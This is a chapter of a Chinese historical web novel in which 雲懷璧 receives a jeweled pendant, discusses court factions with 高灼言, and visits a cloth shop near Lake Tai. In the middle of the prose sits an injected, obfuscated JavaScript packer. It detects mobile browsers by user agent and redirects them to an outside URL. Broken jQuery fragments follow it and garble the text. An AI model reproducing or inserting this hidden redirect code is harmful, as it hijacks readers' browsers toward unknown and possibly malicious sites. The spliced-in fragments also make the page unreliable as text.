這組佩,倒是個新鮮玩意兒。
一枚平安扣下方串著一枚金環,金環中套著三縷金絲編成的長佩,每條長佩下方又分出三縷金絲短佩,一共九縷,錯落有致地飾以翠玉、貓睛、撒白、真珠等各色寶石,叮鈴作響,流光溢彩。
高灼言道:“周從願傳了話來,讓你出門時務必帶上這枚組佩。”
雲懷璧幾乎要被亮瞎眼:“太招搖了。”
高灼言笑道:“她說她在江南有些故交,若你遇到了什麼麻煩,此物或許能幫你解圍。”
雲懷璧嘖嘖感歎:“還是親學生貼心呐。”
高灼言聽這話,心裡莫名生出一股勝負欲。看桌上那碗餃子她幾乎未動,神色微赧:“那個……太湖邊有座問棋樓,最近新出了時令的蟹粉酪,若你明日無事,不妨一起去嘗嘗?我請客。”
“好。”
高灼言緊了緊鬥篷,轉身離去,卻在關門的一瞬被雲懷璧叫住:
“高兄,你何時與從願有了來往?”
雲高二人未被貶官時,朝廷內外大致可分為三黨:東林黨,以高灼言為首;雲懷璧一黨,因小半數是女官,被東林黨喚作“牝黨”;李太後一黨,因借靠司禮監指點江山,被東林黨喚作“閹黨”。潮起潮落此消彼長,三者堅決對立又相互依存,長期達成了某種微妙的平衡。
周從願受雲懷璧提攜,又是女官,毫無疑問被打入了牝黨。
高灼言笑了笑:“政敵而已,又非世仇,有何不能來往。她知道你在東林書院,便托我這個山長寄點東西,不是尋常事麼。”
說罷闔門而去。
雲懷璧輕輕摩挲著劍鞘,意識到她因元曦宮貪腐案被關入詔獄的那些時日,朝局發生了翻天覆地的變化。
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430372|141423||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
到底發生了什麼,能讓從願與高灼言化敵為友,又能讓本該受益最大的高灼言被貶為九品小官?
不在其位不謀其政,多思無益。
不如想想,這牆邊是該擺一把蕉葉琴、還是落霞琴呢?
*
次日清晨,霜雪初霽,雲懷璧推開門,見青石小徑上的積雪已被掃儘,院子裡坐著個肚子圓滾滾的大雪人,茗兒正半蹲著點睛。
“先生!”
茗兒攢了個雪球想扔過去,怕砸散了這副清瘦的身子骨,便雙手捧起一抔雪,如煙花般向她飛揚散開。
雲懷璧眉眼盈盈地走近:
“你堆了個高灼言?”
茗兒上下打量了一通,嘻嘻笑道:“先生您彆說,這昂首挺胸、一本正經的樣子,還真像老爺哈哈哈哈哈哈——”
“咳!”
拱門處,高灼言昂首挺胸、一本正經,還吹胡子瞪眼。
“老……老爺。”
“還不快收拾,準備出門!”
“是是是。”
高灼言的視線一路掃射著茗兒進屋,又落在了那缺胳膊少腿的雪人上。
“我有這麼醜麼?”
雲懷璧噗嗤笑道:“誰不知道您年輕時候因容貌太過俊美而差點屈居探花,我不過隨口一說罷了。”
兩人帶著茗兒和元耀,顛簸了一個半時辰,還沒看見太湖的影子,馬車便被迫停靠在路口。
熙熙攘攘的商鋪沿湖山而建,錫罐、水壇、花缸、風爐、盆盎、泥人等琳琅滿目,來往商客亦是絡繹不絕、磨踵擦肩。
“不到江南,不知盛世。”
雲懷璧如是道。
此處離問棋樓約莫一刻鐘的路程,緩步而行恰能一睹市井風光。
路過一家布店,上懸一副“稍遜雲錦”的匾額,身處鬨市依然門可羅雀。
茗兒伸頭瞧了瞧,驚歎道:“好多漂亮的料子!亮晶晶的跟金布一樣!難怪店裡沒什麼客人,想必整個無錫買得起的人家也不多!”
雲懷璧略瞥了一眼,隨口道:“漂亮是漂亮,但比雲錦遜色多了,店家還敢大言不慚地聲稱稍遜雲錦,難怪無人問津。”
店門口正無聊撥算盤的掌櫃聞言欣喜若狂,忙不迭將雲懷璧往店裡請:“姑娘好眼力!殊不知這些一眼能看見的布料,隻是用來甄彆客人的次品,小店真正販賣的奇貨都在樓上藏著呢!姑娘可願移步鑒賞一番?”
一行人跟隨掌櫃往二樓去。
雲懷璧打趣道:“彆的店都是客人挑布,您倒好,布挑客人。”
掌櫃笑道:“從前客人太多,我家娘子實在忙不過來,便想了這個法子,隻將料子賣給真正識貨的主顧。”
“貴店的布料都是令正親手織就的?”
“不錯!”掌櫃驕傲得無以複加,走到樓梯口喚道:“娘子!有貴客!”
“誒!我這就來!”
內室傳來笑語嫣然。
走在雲懷璧身後的高灼言卻霎時臉色一僵,連步子也忘了抬,茗兒一腳踩上了他的後襟,嚇得戰戰兢兢:“老……老爺……”
“高兄怎麼了?”
雲懷璧回頭問道。
“無妨”,高灼言勉強一笑:“我對布料屬實外行,就不上去湊熱鬨了。茗兒,陪你家先生好好逛逛,我和元耀在樓下等著。”